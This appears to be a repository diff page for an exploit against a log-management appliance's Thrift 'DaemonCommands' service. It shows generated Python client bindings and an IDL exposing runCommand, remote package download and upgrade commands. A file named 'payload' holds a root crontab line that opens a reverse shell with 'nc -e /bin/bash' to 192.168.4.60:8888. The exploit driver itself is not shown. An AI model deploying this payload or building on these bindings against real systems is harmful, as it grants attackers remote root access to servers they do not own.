     318 + oprot.writeStructBegin('getNodeType_result')
     319 + if self.success is not None:
     320 + oprot.writeFieldBegin('success', TType.I32, 0)
     321 + oprot.writeI32(self.success)
     322 + oprot.writeFieldEnd()
     323 + oprot.writeFieldStop()
     324 + oprot.writeStructEnd()
     325 + 
     326 + def validate(self):
     327 + return
     328 + 
     329 + def __repr__(self):
     330 + L = ['%s=%r' % (key, value)
     331 + for key, value in self.__dict__.items()]
     332 + return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
     333 + 
     334 + def __eq__(self, other):
     335 + return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
     336 + 
     337 + def __ne__(self, other):
     338 + return not (self == other)
     339 +all_structs.append(getNodeType_result)
     340 +getNodeType_result.thrift_spec = (
     341 + (0, TType.I32, 'success', None, None, ), # 0
     342 +)
     343 + 
     344 + 
     345 +class getConfig_args(object):
     346 + """
     347 + Attributes:
     348 + - request
     349 + 
     350 + """
     351 + 
     352 + 
     353 + def __init__(self, request=None,):
     354 + self.request = request
     355 + 
     356 + def read(self, iprot):
     357 + if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
     358 + iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
     359 + return
     360 + iprot.readStructBegin()
     361 + while True:
     362 + (fname, ftype, fid) = iprot.readFieldBegin()
     363 + if ftype == TType.STOP:
     364 + break
     365 + if fid == 1:
     366 + if ftype == TType.STRUCT:
     367 + self.request = GetConfigRequest()
     368 + self.request.read(iprot)
     369 + else:
     370 + iprot.skip(ftype)
     371 + else:
     372 + iprot.skip(ftype)
     373 + iprot.readFieldEnd()
     374 + iprot.readStructEnd()
     375 + 
     376 + def write(self, oprot):
     377 + if oprot._fast_encode is not None and self.thrift_spec is not None:
     378 + oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
     379 + return
     380 + oprot.writeStructBegin('getConfig_args')
     381 + if self.request is not None:
     382 + oprot.writeFieldBegin('request', TType.STRUCT, 1)
     383 + self.request.write(oprot)
     384 + oprot.writeFieldEnd()
     385 + oprot.writeFieldStop()
     386 + oprot.writeStructEnd()
     387 + 
     388 + def validate(self):
     389 + return
     390 + 
     391 + def __repr__(self):
     392 + L = ['%s=%r' % (key, value)
     393 + for key, value in self.__dict__.items()]
     394 + return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
     395 + 
     396 + def __eq__(self, other):
     397 + return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
     398 + 
     399 + def __ne__(self, other):
     400 + return not (self == other)
     401 +all_structs.append(getConfig_args)
     402 +getConfig_args.thrift_spec = (
     403 + None, # 0
     404 + (1, TType.STRUCT, 'request', [GetConfigRequest, None], None, ), # 1
     405 +)
     406 + 
     407 + 
     408 +class getConfig_result(object):
     409 + """
     410 + Attributes:
     411 + - success
     412 + 
     413 + """
     414 + 
     415 + 
     416 + def __init__(self, success=None,):
     417 + self.success = success
     418 + 
     419 + def read(self, iprot):
     420 + if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
     421 + iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
     422 + return
     423 + iprot.readStructBegin()
     424 + while True:
     425 + (fname, ftype, fid) = iprot.readFieldBegin()
     426 + if ftype == TType.STOP:
     427 + break
     428 + if fid == 0:
     429 + if ftype == TType.STRUCT:
     430 + self.success = GetConfigResult()
     431 + self.success.read(iprot)
     432 + else:
     433 + iprot.skip(ftype)
     434 + else:
     435 + iprot.skip(ftype)
     436 + iprot.readFieldEnd()
     437 + iprot.readStructEnd()
     438 + 
     439 + def write(self, oprot):
     440 + if oprot._fast_encode is not None and self.thrift_spec is not None:
     441 + oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
     442 + return
     443 + oprot.writeStructBegin('getConfig_result')
     444 + if self.success is not None:
     445 + oprot.writeFieldBegin('success', TType.STRUCT, 0)
     446 + self.success.write(oprot)
     447 + oprot.writeFieldEnd()
     448 + oprot.writeFieldStop()
     449 + oprot.writeStructEnd()
     450 + 
     451 + def validate(self):
     452 + return
     453 + 
     454 + def __repr__(self):
     455 + L = ['%s=%r' % (key, value)
     456 + for key, value in self.__dict__.items()]
     457 + return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
     458 + 
     459 + def __eq__(self, other):
     460 + return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
     461 + 
     462 + def __ne__(self, other):
     463 + return not (self == other)
     464 +all_structs.append(getConfig_result)
     465 +getConfig_result.thrift_spec = (
     466 + (0, TType.STRUCT, 'success', [GetConfigResult, None], None, ), # 0
     467 +)
     468 + 
     469 + 
     470 +class runCommand_args(object):
     471 + """
     472 + Attributes:
     473 + - commandWithTimeout
     474 + 
     475 + """
     476 + 
     477 + 
     478 + def __init__(self, commandWithTimeout=None,):
     479 + self.commandWithTimeout = commandWithTimeout
     480 + 
     481 + def read(self, iprot):
     482 + if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
     483 + iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
     484 + return
     485 + iprot.readStructBegin()
     486 + while True:
     487 + (fname, ftype, fid) = iprot.readFieldBegin()
     488 + if ftype == TType.STOP:
     489 + break
     490 + if fid == 1:
     491 + if ftype == TType.STRUCT:
     492 + self.commandWithTimeout = CommandWithTimeout()
     493 + self.commandWithTimeout.read(iprot)
     494 + else:
     495 + iprot.skip(ftype)
     496 + else:
     497 + iprot.skip(ftype)
     498 + iprot.readFieldEnd()
     499 + iprot.readStructEnd()
     500 + 
     501 + def write(self, oprot):
     502 + if oprot._fast_encode is not None and self.thrift_spec is not None:
     503 + oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
     504 + return
     505 + oprot.writeStructBegin('runCommand_args')
     506 + if self.commandWithTimeout is not None:
     507 + oprot.writeFieldBegin('commandWithTimeout', TType.STRUCT, 1)
     508 + self.commandWithTimeout.write(oprot)
     509 + oprot.writeFieldEnd()
     510 + oprot.writeFieldStop()
     511 + oprot.writeStructEnd()
     512 + 
     513 + def validate(self):
     514 + return
     515 + 
     516 + def __repr__(self):
     517 + L = ['%s=%r' % (key, value)
     518 + for key, value in self.__dict__.items()]
     519 + return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
     520 + 
     521 + def __eq__(self, other):
     522 + return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
     523 + 
     524 + def __ne__(self, other):
     525 + return not (self == other)
     526 +all_structs.append(runCommand_args)
     527 +runCommand_args.thrift_spec = (
     528 + None, # 0
     529 + (1, TType.STRUCT, 'commandWithTimeout', [CommandWithTimeout, None], None, ), # 1
     530 +)
     531 + 
     532 + 
     533 +class runCommand_result(object):
     534 + """
     535 + Attributes:
     536 + - success
     537 + 
     538 + """
     539 + 
     540 + 
     541 + def __init__(self, success=None,):
     542 + self.success = success
     543 + 
     544 + def read(self, iprot):
     545 + if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
     546 + iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
     547 + return
     548 + iprot.readStructBegin()
     549 + while True:
     550 + (fname, ftype, fid) = iprot.readFieldBegin()
     551 + if ftype == TType.STOP:
     552 + break
     553 + if fid == 0:
     554 + if ftype == TType.STRUCT:
     555 + self.success = CommandStatusWithHandle()
     556 + self.success.read(iprot)
     557 + else:
     558 + iprot.skip(ftype)
     559 + else:
     560 + iprot.skip(ftype)
     561 + iprot.readFieldEnd()
     562 + iprot.readStructEnd()
     563 + 
     564 + def write(self, oprot):
     565 + if oprot._fast_encode is not None and self.thrift_spec is not None:
     566 + oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
     567 + return
     568 + oprot.writeStructBegin('runCommand_result')
     569 + if self.success is not None:
     570 + oprot.writeFieldBegin('success', TType.STRUCT, 0)
     571 + self.success.write(oprot)
     572 + oprot.writeFieldEnd()
     573 + oprot.writeFieldStop()
     574 + oprot.writeStructEnd()
     575 + 
     576 + def validate(self):
     577 + return
     578 + 
     579 + def __repr__(self):
     580 + L = ['%s=%r' % (key, value)
     581 + for key, value in self.__dict__.items()]
     582 + return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
     583 + 
     584 + def __eq__(self, other):
     585 + return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
     586 + 
     587 + def __ne__(self, other):
     588 + return not (self == other)
     589 +all_structs.append(runCommand_result)
     590 +runCommand_result.thrift_spec = (
     591 + (0, TType.STRUCT, 'success', [CommandStatusWithHandle, None], None, ), # 0
     592 +)
     593 +fix_spec(all_structs)
     594 +del all_structs
     595 + 
  • ■ ■ ■ ■ ■ ■
    gen-py/loginsight/__init__.py
     1 +__all__ = ['ttypes', 'constants', 'DaemonCommands']
     2 + 
  • gen-py/loginsight/__pycache__/DaemonCommands.cpython-310.pyc
    Binary file.
  • gen-py/loginsight/__pycache__/__init__.cpython-310.pyc
    Binary file.
  • gen-py/loginsight/__pycache__/ttypes.cpython-310.pyc
    Binary file.
  • ■ ■ ■ ■ ■ ■
    gen-py/loginsight/constants.py
     1 +#
     2 +# Autogenerated by Thrift Compiler (0.16.0)
     3 +#
     4 +# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
     5 +#
     6 +# options string: py
     7 +#
     8 + 
     9 +from thrift.Thrift import TType, TMessageType, TFrozenDict, TException, TApplicationException
     10 +from thrift.protocol.TProtocol import TProtocolException
     11 +from thrift.TRecursive import fix_spec
     12 + 
     13 +import sys
     14 +from .ttypes import *
     15 + 
  • gen-py/loginsight/ttypes.py
    Diff is too large to be displayed.
  • ■ ■ ■ ■ ■ ■
    loginsight.thrift
     1 +struct RepoImportCommand {
     2 + 1: string path;
     3 + 2: i32 interval;
     4 + 3: bool monitor;
     5 + 4: string parserName;
     6 + 5: string inclusion;
     7 + 6: string exclusion
     8 +}
     9 + 
     10 +struct ShutdownCommand {
     11 + 1: bool immediately;
     12 + 2: bool waitForQueued
     13 +}
     14 + 
     15 +struct RestartCommand {
     16 + 1: bool waitForQueued
     17 +}
     18 + 
     19 +struct PhoneHomeFeedbackCommand {
     20 + 1: bool enable
     21 +}
     22 + 
     23 +struct HostSyncCommand {
     24 + 1: string ntpModeAttributeString
     25 +}
     26 + 
     27 +struct NtpSyncCommand {
     28 + 1: bool test;
     29 + 2: list<string> ntpServers
     30 +}
     31 + 
     32 +struct SupportBundleCommand {
     33 + 1: string uuid
     34 +}
     35 + 
     36 +struct PakUpgradeCommand {
     37 + 1: string fileName;
     38 + 2: bool eulaOnly;
     39 + 3: string outputFile;
     40 + 4: bool outputOnly;
     41 + 5: string locale;
     42 + 6: bool forceInstall
     43 +}
     44 + 
     45 +struct RemotePakDownloadCommand {
     46 + 1: string sourceNodeToken;
     47 + 2: string requestUrl;
     48 + 3: string fileName
     49 +}
     50 + 
     51 +struct ConfigLolCommand {
     52 + 1: string operation;
     53 + 2: string destination;
     54 + 3: string protocol;
     55 + 4: string port;
     56 + 5: string force
     57 +}
     58 + 
     59 +struct CommandWithTimeout {
     60 + 1: Command command;
     61 + 2: i64 timeoutMillis
     62 +}
     63 + 
     64 +struct Command {
     65 + 1: i32 commandType;
     66 + 2: RepoImportCommand repoImportCommand;
     67 + 3: ShutdownCommand shutdownCommand;
     68 + 4: RestartCommand restartCommand;
     69 + 5: PhoneHomeFeedbackCommand phoneHomeFeedbackCommand;
     70 + 6: HostSyncCommand hostSyncCommand;
     71 + 7: NtpSyncCommand ntpSyncCommand;
     72 + 8: SupportBundleCommand supportBundleCommand;
     73 + 9: PakUpgradeCommand pakUpgradeCommand;
     74 + 10: RemotePakDownloadCommand remotePakDownloadCommand;
     75 + 11: ConfigLolCommand configLolCommand;
     76 + 
     77 +}
     78 + 
     79 +struct CommandStatusWithHandle {
     80 + 1: CommandStatus commandStatus;
     81 + 2: CommandHandle commandHandle
     82 +}
     83 + 
     84 +struct CommandStatus {
     85 + 1: i32 commandStatusType;
     86 + 2: QueuedCommandStatus queuedCommandStatus;
     87 + 3: RunningCommandStatus runningCommandStatus;
     88 + 4: ExitedCommandStatus exitedCommandStatus
     89 +}
     90 + 
     91 +struct CommandHandle {
     92 + 1: i64 commandHandle;
     93 + 2: string error
     94 +}
     95 + 
     96 +struct QueuedCommandStatus {
     97 + 1: Command command;
     98 + 2: Timestamp timeRequested
     99 +}
     100 + 
     101 +struct RunningCommandStatus {
     102 + 1: Command command;
     103 + 2: Timestamp timeRequested;
     104 + 3: Timestamp timeStartedRunning;
     105 + 4: StatusUpdate lastStatusUpdate
     106 +}
     107 + 
     108 +struct ExitedCommandStatus {
     109 + 1: Command command;
     110 + 2: Timestamp timeRequested;
     111 + 3: Timestamp timeStartedRunning;
     112 + 4: StatusUpdate lastStatusUpdate;
     113 + 5: Timestamp exitTime;
     114 + 6: bool wasCancelled;
     115 +}
     116 + 
     117 +struct StatusUpdate {
     118 + 1: string statusMessage;
     119 + 2: Timestamp timestamp;
     120 + 3: bool error;
     121 + 4: i32 exitCode
     122 +}
     123 + 
     124 +struct Timestamp {
     125 + 1: i64 timestamp
     126 +}
     127 + 
     128 +enum StrataNodeType {
     129 + STANDALONE = 1,
     130 + WORKER = 2,
     131 + UNKNOWN = 3
     132 +}
     133 + 
     134 +struct GetConfigRequest {
     135 + 1: string clusterGuid;
     136 + 2: string workerToken;
     137 + 3: i32 lastKnownConfigGeneration;
     138 + 4: bool includeBlobInResponseIFFNewerVersion
     139 +}
     140 + 
     141 +struct GetConfigResult {
     142 + 1: string masterToken;
     143 + 2: i32 configGeneration;
     144 + 3: string configBlob;
     145 + 4: string error
     146 +}
     147 + 
     148 +service DaemonCommands {
     149 + StrataNodeType getNodeType()
     150 + GetConfigResult getConfig(1:GetConfigRequest request)
     151 + CommandStatusWithHandle runCommand(1:CommandWithTimeout commandWithTimeout)
     152 +}
  • ■ ■ ■ ■ ■ ■
    payload
     1 +* * * * * root nc -e /bin/bash 192.168.4.60 8888
     2 + 
     3 + 
Please wait...
Page is in error, reload to recover